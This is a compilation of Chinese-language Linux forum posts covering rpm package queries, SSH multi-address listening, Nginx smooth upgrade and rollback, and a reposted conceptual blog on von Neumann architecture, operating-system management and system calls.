列出所有安装过的包如果要查找所有安装过的包含某个字符串sql的软件包rpm -qa |grep sql如何获得某个软件包的文件全名rpm -q mysql可以获得系统中安装的mysql软件包全名,从中可以获得当前软件包的版本等信息。这个例子中可以得到信息mysql-3.23.54a-11。一个rpm包中的文件安装到那里去了?rpm -ql 包名注意:这里的包名是不包括.rpm后缀的软件包的名称,也就是说只能用mysql或者mysql-3.23.54a-11而不是mysql-3.23.54a-11.rpm,如果只是想知道可执行程序放到那里去了,也可以用which,比如which mysql一个rpm包中包含那些文件一个没有安装过的软件包,使用:rpm -qlp ****.rpm一个已经安装过的软件包,还可以使用:rpm -ql ****.rpm如何获取关于一个软件包的版本,用途等相关信息?一个没有安装过的软件包,使用rpm -qip ****.rpm。一个已经安装过的软件包,还可以使用rpm -qi ****.rpm。某个程序是哪个软件包安装的,或者哪个软件包包含这个程序rpm -qf `which 程序名` 返回软件包的全名 rpm -qif `which 程序名` 返回软件包的有关信息 rpm -qlf `which 程序名` 返回软件包的文件列表注意,这里不是引号,而是`,就是键盘左上角的那个键,也可以使用rpm -qilf,同时输出软件包信息和文件列表。某个文件是哪个软件包安装的,或者哪个软件包包含这个文件注意,前一个问题中的方法,只适用与可执行的程序,而下面的方法,不仅可以用于可执行程序,也可以用于普通的任何文件,前提是知道这个文件名,首先获得这个程序的完整路径,可以用whereis或者which,然后使用rpm -qf例如:# whereis ftptop ftptop: /usr/bin/ftptop /usr/share/man/man1/ftptop.1.gz # rpm -qf /usr/bin/ftptop proftpd-1.2.8-1 # rpm -qf /usr/share/doc/proftpd-1.2.8/rfc/rfc0959.txt proftpd-1.2.8-1获得软件包相关的信息用rpm -q,q表示查询query,后面可以跟其他选项,比如i 表示info,获得软件包的信息; l 表示list,获得文件列表; a 表示all,在所有包中执行查询; f 表示file,根据文件进行相关的查询; p 表示package,根据软件包进行查询需要的查询条件可以使用grep产生,或者从""中的命令行产生原文链接:https://www.kancloud.cn/linux-tech/linux_learning/661736
  • [常见FAQ] 官方SDK的C++为什么在线下用判题器测试时,得分为0?
    这是什么问题导致的??????
  • [技术干货] 【Linux虚机网络配置】SSH服务监听多个ip,实现配有大小网虚机网络可同时访问目的
    背景:Linux虚机配置2张网卡(大小网),因网络限制,需要进行大小网切换,以此达到网络相通目的。多次切换大小网影响效率,为提高效率,通过增加监听地址方式, 无需再切换大小网,虚机在大小网可同时访问(达到在大网环境下通过大网地址可访问,小网环境通过小网地址可访问的效果)。操作步骤:1、编辑sshd_config文件,增加监听地址。如:10.25.46.148,192.168.5.46vi /etc/ssh/sshd_config编辑ListenAddress 10.25.46.148ListenAddress 192.168.5.46保存并退出2、重启生效/etc/init.d/sshd restart
  • [技术干货] Linux版本中Nginx平滑升级与回退
    一、平滑升级概述1.平滑升级的定义在进行服务版本升级的时候,对于用户访问体验无感知,不会造成服务中断。2.平滑升级的思路(1)关于版本和备份下载新版本nginx了解原旧版nginx编译参数将旧nginx二进制文件进行备份,然后替换成新的nginx二进制文件(2)向旧的Nginx的master进程发送USR2信号将旧的master进程的pid文件添加后缀.oldbin,master进程会用新nginx二进制文件启动新的master进程(3)向旧的master进程发送winch信号,旧的worker子进程退出(4)向旧master进程发送quit信号,旧的master进程就退出3.平滑升级的信号信号含义QUIT关闭HUP重启USR1重新打开日志文件,reponUSR2平滑升级可执行的二进制程序WINCH平滑关闭worker进程4.平滑升级示意图二、Nginx平滑升级1.安装依赖1yum install gcc redhat-rpm-config \ libxslt-devel gd-devel perl-ExtUtils-Embed \ geoip-devel gperftools-devel pcre-devel openssl-devel -y2.编译并安装nginx123456789root@web ~] wgethttp://nginx.org/download/nginx-1.16.1.tar.gz  [root@web ~] tar xf nginx-1.16.1.tar.gz  [root@web ~] cd nginx-1.16.1/  [root@web ~] ./configure --  [root@web ~] make3.备份旧的Nginx二进制12[root@web nginx-1.16.1] mv /usr/sbin/nginx/usr/sbin/nginx.old [root@web nginx-1.16.1] cp objs/nginx/usr/sbin/nginx4.向旧的master发送USR2信号1234[root@web nginx-1.16.1] ps -ef |grep nginx [root@web nginx-1.16.1] kill -USR2 20848 [root@web nginx-1.16.1] cat /var/run/nginx.pid.oldbin 20848 [root@web nginx-1.16.1] ps -ef |grep nginx5.向旧master发送winch信号12[root@web nginx-1.16.1]# kill -WINCH 20848 [root@web nginx-1.16.1]# ps -ef |grep nginx6.向旧master发送QUIT信号12[root@web nginx-1.16.1] kill -QUIT 20848 [root@web nginx-1.16.1] ps -ef |grep nginx三、Nginx平滑回退1.思路替换nginx二进制文件,向旧的master发送USR2信号,向旧的master发送WINCH,向旧的master发送QUIT2.替换nginx二进制文件12[root@web ~] mv /usr/sbin/nginx/usr/sbin/nginx-1.16 [root@web ~] mv /usr/sbin/nginx.old/usr/sbin/nginx3.向旧的master发送USR2信号123[root@web ~] ps -ef |grep nginx [root@web ~] kill -USR2 24971 [root@web ~] ps -ef |grep nginx4.向旧的master发送WINCH信号12[root@web ~] kill -WINCH 24971 [root@web ~] ps -ef |grep nginx5.向旧的master发送QUIT信号12[root@web ~] kill -QUIT 24971 [root@web ~] ps -ef |grep nginx转载自https://www.jb51.net/article/273886.htm
  • [技术干货] 【Linux】冯诺依曼体系结构与操作系统概念理解-转载
     一、前言 小伙伴们,新年好!距离上次创作已经过去半个月了,a n d u i n anduinanduin 最近也去学习了一些新知识,但是目前还在整理笔记,所以估计得等到三月份才能逐渐写出博客来。  但是 a n d u i n anduinanduin 也不能闲着,于是今天我就为大家带来一篇干货文章。本篇文章对于冯诺依曼体系结构作出了详细讲解,特别是对于内存、数据流动;另一部分则是 a n d u i n anduinanduin 对于操作系统的一些理解,对于其中的管理我也做出了剖析,相信看完一定会有所收获。  话不多说,让我们赶快开始学习吧!  二、冯诺依曼体系结构 1、体系简述 学习过计算机组成原理的小伙伴们应该对冯诺依曼体系结构并不陌生。冯诺依曼体系结构是一种将程序指令存储器和数据存储器合并在一起的存储器结构。  我们常见的计算机,如笔记本,或是不常见的服务器,基本都遵守冯诺依曼体系。   目前的计算机,单靠计算机本身是无法完成交互工作的,所以需要 人将数据“喂给”计算机 ,说白了就是 输入设备 ;同样的 计算机也需要把处理数据的结果呈现给用户 ,说白了就是 输出设备 。  而这一过程中依赖的两个设备就是体系结构中的输入输出设备,两种常见的设备如下:  输入设备:键盘、话筒、摄像头、网卡、磁盘、鼠标… 输出设备:显示器、磁盘、网卡、声卡、音箱… 对于同一个设备而言,可以同时充当输入设备和输出设备,例如 磁盘 :  磁盘上的文件就是用户保存的文件。用户保存就说明 采集了用户的数据 ,再将文件进行运行,如:计算机计算、加密等… ,这一过程就是 输入 。  同样的,用户在磁盘上下载了一个文件,例如一部电影,那么磁盘上的文件需要被用户观看,这就相当于把 结果呈现给用户 ,这一过程为 输出 。  而对于结构中的 存储器、运算器、控制器 我们也需要拎一下概念:  存储器不是磁盘,而是 内存 计算机的本质工作是计算,所以一定需要运算器和控制器,它们被合称为 cpu 输入、输出设备被称为外围设备,即外设 :  外设包含输入输出,所以外设一般都会比较慢,比如磁盘。而内存则在磁盘的基准上高了许多量级。  但是外设比较便宜,比如买电脑时,电脑磁盘动不动 512g, 1t ,但是内存只有 8, 16g 。  对于它们两个都可以存储数据,但是对于内存存储数据是有时效性的。内存属于掉电易失介质 ,若突然关机,内存数据就会丢失;但是对于磁盘则不会。  但是内存储存数据的时效性短,为什么价格还是比外设贵?因为一个字,快 。  2、内存的重要性 可能大家会有疑惑,计算机中内存并不是最快的,cpu速度是最快的 ,那么既然这样,为什么要有内存呢?直接舍弃内存,让输入设备直接连到 cpu 不行吗?比如这样:   我让输入设备通过 cpu 计算后,直接输出,这样岂不是更快?  方案确实可以,但是会有代价。 因为外设是极其慢的,而 cpu 太快了。  这就涉及到一个理论 —— 木桶原理 :   木桶原理:一只木桶盛水的多少,并不取决于木桶壁上最高的那块木板,而是取决于最短的那块。  对于体系结构来说也是这样。如果对应的输入很慢,但是 cpu 很快,整体表现出来的整体效率就以外设为主。  所以这时,冯诺依曼大神就引入了 内存 。内存比外设快的多,但是比 cpu 慢。  举个例子,外设可以理解为毫秒级,内存是微秒级,cpu 是纳秒级。这中间的差距都很大,但是可以互补。  内存可以临时存储数据,并且不慢。而在 cpu 计算数据的同时,DMA又可以把外设的数据搬到内存,等 cpu 把数据执行完毕后,再直接执行刚刚搬进来的数据。  因为内存的存在,就可以大大缓解木桶原理带来的效率下降。  所以这里得出一个结论:在数据层面,一般 cpu 不和外设直接沟通,而是直接和内存打交道,由此看出内存的重要性。  那么有没有可以代替内存的存储设备?  通过上面的了解,我们发现内存是没有制造数据的能力的,它就像一个驿站,用来中转数据。但是既然是一个中转站的功能,如果谈到速度和功能,cpu 中还有个 寄存器 ,它的速度是极快的,那么 为什么不拿寄存器作为存储单元来缓解木桶效应?  一个字:贵 ,寄存器在 cpu 中只有极小部分。我们当前的计算机实际上是通过技术手段打造的一个性价比产品,因为一些存储设备太贵了。所以就用内存来平衡外设和 cpu 之间的速度不均衡。从而达到既能完成工作并且效率均衡且便宜的特点。  3、硬件方案解释软件行为 说到这儿,我们其实可以理解之前一些难以解答的问题:  ​ 为什么一个程序必须要选加载到内存才能执行?  我们自己写的 c 代码,生成的可执行程序就是一个文件,是文件就在磁盘中保存,而磁盘属于外设。  而当可执行程序运行时,需要 cpu 帮忙执行,而现在的计算机符合冯诺依曼体系结构,所以 cpu 访问你的代码和数据时就必须问内存要,所以数据需要被加载到内存,以便让 cpu 读取数据!  而程序加载到内存在 windows 上是双击,在 linux 上则是 ./ 运行。  而这一切的一切就是因为体系结构,这就是用 硬件方案解释软件行为 。  4、体系结构中的数据流动 学习了冯诺依曼体系结构,我们再来谈谈数据之间的流向。  假设你和你的朋友在聊天,当你向你朋友发送 “吃了吗” 信息时,数据时在体系结构中如何流动的?  假设你和你的朋友的点电脑都符合冯诺依曼体系结构,且不考虑中间网络层的传输,假定发送出去就能被接收:   对于 a n d u i n anduinanduin 也就是我,我通过输入设备(键盘)输入“吃了吗”,从硬件层面上数据被输入到内存,软件层面上数据被输入到 qq 。  这里我们 只考虑硬件层面 ,当数据输入后,数据被加载到内存这时数据就要进行计算(例如加密),这时 cpu 就需要从内存中拿数据,再计算完毕之后,将数据返回内存,数据再被显示到输出设备。  而这里有 两个刷新动作 ,一个是数据当被发送时,显示在自己电脑的显示框,这种很简单。  而 第二个刷新动作就是把数据刷新到 G u l d a n GuldanGuldan 的电脑上 ,这其中的流动规则如下:  当 a n d u i n anduinanduin 的数据输出后,输出到输出设备(网卡)上,网卡再刷新到网络。G u l d a n GuldanGuldan 通过输入设备(网卡),将数据加载到内存中,cpu计算(解密操作),再写回内存,再次刷新数据到输出设备(对方显示屏)上。  而这过程实际上是符合体系结构的,并不是说,当信息发送出去后,就直接一步到位到 G u l d a n GuldanGuldan 的显示屏。  而对于一些加密,解密,以及将数据从外设读到内存这些都是软件提供的,这些我们暂时不要考虑。  讲到这里再提一嘴:其实从外设获取数据,我们也天天在用,比如 c 语言的 scanf ,就是从外设读数据的。所以这里就不难理解为啥软件可以获得外设的输入。  至此我们就得出结论:数据在流动的时候必须从外设到达内存,并不能直接到达目标地点,完全遵守冯诺依曼体系结构。说白了就是 外设只和内存打交道。  5、拓展 实际上对于外设只和内存打交道在之前是有歧义的:  因为早期芯片集成数据的能力较差。会把输入设备的数据直接打给 cpu ,读取的时候再通过 cpu 把数据放到内存里。再把数据缓存起来,需要使用的时候再把数据拿出来。  而现在 cpu 里面通常还带了 dma 芯片,就是专门把外设数据搬到内存的,这样外设和 cpu 和外设之间就无需直接沟通了,所以咱们当前认为 cpu 不直接和外设沟通。  还有一点需要补充的是:  外设和cpu虽然数据层面不直接交互,但是对于一些控制信号,它们之间是要交涉的,比如外设要给cpu发控制信号,需要让cpu帮外设做事情。但是当前我们还不考虑这点,还是考虑数据层面上,cpu和外设不直接沟通。  而冯诺依曼我们就聊到这儿。  三、操作系统简述 我们知道 Linux 是一个操作系统,但是什么是操作系统?对于这个概念我们了解起来也许模棱两可,所以今天的另一个话题就是谈谈操作系统。  首先看一下计算机体系图,接下来的内容会涉及到体系中的内容:   1、概念 任何计算机系统都包含一个基本的程序集合,称为操作系统,也就是 OS 。如果笼统的理解操作系统,它就包含两部分:  内核(进程管理,内存管理,文件管理,驱动管理) 其他程序(例如函数库,shell 程序等) 2、重要性 当讲冯诺依曼的时候,我们说过,数据是被加载到内存中,再供 cpu 进行内存读取的。  但是中间涉及了一大堆工作,例如,预加载的数据是哪一部分数据,内存如果不够了这时候怎么办?  随便抛出一个数据可能我们都说不出来,而这些工作其实都是软件做的,这个软件就是操作系统。  打个比方,硬件就好比是医院里的检测仪器,输出仪器。但是只有机器能看病吗?肯定不行,还得需要医生,而这其中面临很多问题,比如症状的分流,人员的分配,病人找到医生的方式,这么些抽象的问题仅仅依靠仪器是不能处理的。  这就说明软件是必须的,而这些繁杂的工作都由操作系统来处理。  3、定位 接下来我们看看 OS 的定位。其实 OS 定位很简单,它就是一款软件。  所有程序想要运行,都必须加载到内存中,而在开机加载的时候操作系统就被加载到了内存中,这样软件就可以被 cpu 跑了。  操作系统本身是一款对软硬件资源进行管理的软件。  4、如何管理 对于管理,一共有 三个结论 ,我们通过例子中间穿插着概念来感性理解它们:  首先明确一下管理者和被管理者 :  日常生活中,我们需要进行各种决策(想干什么)和执行(做什么)。  而在一个组织结构中,真正的管理者做的就是决策。其实这么说还不够详细,应该说管理者不是完全不做执行,但是管理者大部分时间都在决策。  若当前背景是一个学校,我们就将学校抽象成三部分:校长、辅导员、学生,如下:   而辅导员和校长都可以进行管理,但是他们谁是真正的管理者?校长 ,因为校长本身的工作大部分都在决策。  举个例子:  比如学校举办一个运动会。对于运动会场地,经费都是校长来决策,而剩下的就是学生执行。  那么辅导员再干什么?辅导员就是把校长的决策落地,部分决策让学生去干什么,部分执行去执行校长的决策。  也就是校长把决策给辅导员,辅导员执行校长的决策。相当于辅导员做的就是 伪决策 。  所以辅导员不是一个真正的管理者,辅导员只是对校长的决策做落地的角色,而学生就是纯粹的执行者。  所以校长才是真正的管理者 。  通过这一过程,角色就划分成了三块:   而这一过程校长(管理者)和被管理者(学生)见过面了吗?很明显没有。可能在大学中,学生见到校长也就是开学典礼的时候,只是一面之缘。  到这里,我们得出第一个结论:管理者和被管理者是不需要直接沟通的。  问题来了,既然管理者和被管理者没有直接沟通,它是如何管理我的?  再来举个例子:  比如说你的父母,在高中可能可以天天看着你,属于直接管理。但是上了大学父母不能进行直接管理,但是可以通过别人,例如你的室友,你的辅导员,获得你最近的行动,这样也可以进行管理。  而这一行为不就是管理者(父母)和被管理者(我)没有直接沟通,但是依然管理了。而管理方式就是通过数据。  至此,我们得出了第二个结论:管理的本质是对被管理对象的数据做管理。  通过这个结论,又衍生出了两个问题:  ​ 1)管理者是如何拿到被管理者的数据的 ?  这就好比校长从没见过我,但是它是如何管理到我的,怎么拿到我的数据?  这个过程就需要辅导员来进行,辅导员拿到数据,然后把数据给校长。  ​ 2)如果被管理者基数庞大,管理者是如何处理海量数据,筛选出特定数据?  虽然学生的数据不一样,但是学生的属性信息类型是一样的,比如:姓名、年级、电话、成绩、紧急联系人 …  而如果,我是说如果,校长一看这个,就想起了结构体,那么完全可以 把信息抽象成一个结构体 s t r u c t   s t u struct\ stustruct stu 。而对于信息管理,可以将其抽象成一个链表,这时每个学生的信息就是一个节点:   这时如果要筛选出数据,就只需要根据关键值筛选就可以,从而将管理行为转换成对链表的管理。  而如果需要对学生进行信息删除,就只需要找到节点,然后释放,之后这个节点就被移除了,这个节点也消失,不需要再管理了。  这时决策就转换成对链表的增删查改。  而一个决策被转换为对数据结构的管理,这就相当于完成了一个建模的过程,把具体场景转换为计算机语言,就是建模的过程。  所以这里体现出语法和数据结构的重要性 :  这里就是先用结构体进行描述,再采集信息,构建对象,再形成某种结构,再把节点组织起来,并根据某种特性进行特殊化构建。  这其中就涉及到了面向对象和数据结构。  好了,现在也就引出了第三个结论:管理的方法是先描述,再组织。 而这句话也会被贯穿到之后 Linux 的学习中,一定要记好了。  管理的方法我们说完了,那么校长,辅导员和学生都代表着计算机里的什么角色?  学生:硬件(软件),这里的软件包括应用层和操作系统内的软件 辅导员:硬件驱动 校长:操作系统  而硬件驱动,实际上就是驱动程序,它和硬件交互,拿到硬件传输的数据。操作系统发布决策给驱动,而操作系统是真正的管理者。  管理到这就讲完了,总结一下管理的特性和本质 :  管理者和被管理者是不需要直接沟通的 管理的本质是对被管理对象的数据做管理 管理的方法是先描述,再组织 5、管理目的 上面说了这么多管理的方法,但是操作系统为什么要对软硬件资源进行管理呢?它图啥呢?  为了更好地给用户提供服务,不让软件老是出 bug 。  要知道,一款操作系统能否生存,就是依赖于生态链和用户人数。不妨设想一下,如果操作系统动不动就蓝屏,打着打着游戏就关机了,还有人用吗?  肯定没有,这样子用户人数急剧减少,操作系统的生存问题就会出现了。而人们挑选操作系统的依据就是 是否好用 ,所以操作系统必须优化体验。  所以操作系统通过对下管理好软硬件资源,对上(用户层)给用户提供 安全、稳定、高效、功能丰富 的执行环境,让用户有一个最佳体验,这就是目的!  四、系统调用 刚说完管理目的,操作系统也为我们提供者服务,但是有一个问题,操作系统相信我吗?  这个问题可能很无厘头,是什么意思?提供服务不就完了,什么是相信?  同样的,我们举一个例子:  好比现在我们把银行当做一个操作系统,当我们去银行存钱的时候。银行人员看到你会说:“先生,往直走转弯就是金库,你把钱放在那边,不要拿走里面的钱,你就自己去存钱吧!”  这显然是不可能的,这也就反映了,虽然操作系统给我们提供了很好的服务,但是OS不相信我们,不相信任何人。  相反,操作系统会进行一些措施进行自我保护,比如银行配备了保安,操作系统也有对应的封装。  而生活中,银行是通过柜台来通过工作人员的操作,帮助我们存钱,就比如:   通过柜台窗口,把需求给员工,让员工完成操作,对于银行为了提供服务和保证自身安全,提供的是窗口式服务。  而对于操作系统,这个窗口式服务就是系统调用,而说到这边,我们就可以画出计算机软硬件体系结构图:   操作系统选择将对应的功能以接口的形式让别人访问,这一批接口,就被称为操作系统的系统调用。  而这一操作既帮助我们完成了功能,又保护了操作系统本身。  其实我们也都用过系统调用接口,但是它是以一种更简单的方式提供给我们使用了。  因为系统调用接口的使用成本很高,于是就有相关人员对系统接口进行二次的软件开发,例如:图形化界面,s h e l l shellshell 和工具集。  而通过 shell 工具,我们就可以通过操作系统,对硬件或软件进行交互,例如 touch 这就是通过指令,依靠封装后的系统调用,从而贯穿体系结构,往磁盘(硬件)写入,从而生成文件。  同理对于语言,也就是库函数,也调用了系统调用 :  例如 printf 显示的设备是硬件,而向硬件写入的就是通过操作系统进行软硬件资源管理。printf 就是 C 语言通过包含头文件,而它的底层就调用了系统调用接口。 而我们当前的开发,还在系统调用二次开发的上层,也就是用户层 。这里的用户层指的是开发者,也就是程序员的那一层,而对于老百姓使用的层次,还在上面一层。  注:对于使用系统调用接口的程序,不具备跨平台性。因为此刻的接口是该系统独有的。  五、结语 到这里,本篇博客就到此结束了。  相信看完文章,大家应该都对冯诺依曼体系结构和操作系统以及系统调用有了一定的了解。尤其是在管理部分一定要记住:先描述、再组织 ,这句话可以说是本篇文章的核心之一。  由于本篇是纯概念,所以建议看完可以好好消化一下,毕竟没有代码那么好记。  如果觉得 a n d u i n anduinanduin 写的不错的话,可以 点赞 + 收藏 + 评论 支持一下哦!我们下期见~ ———————————————— 版权声明:本文为CSDN博主「安 度 因」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/m0_67867172/article/details/128767992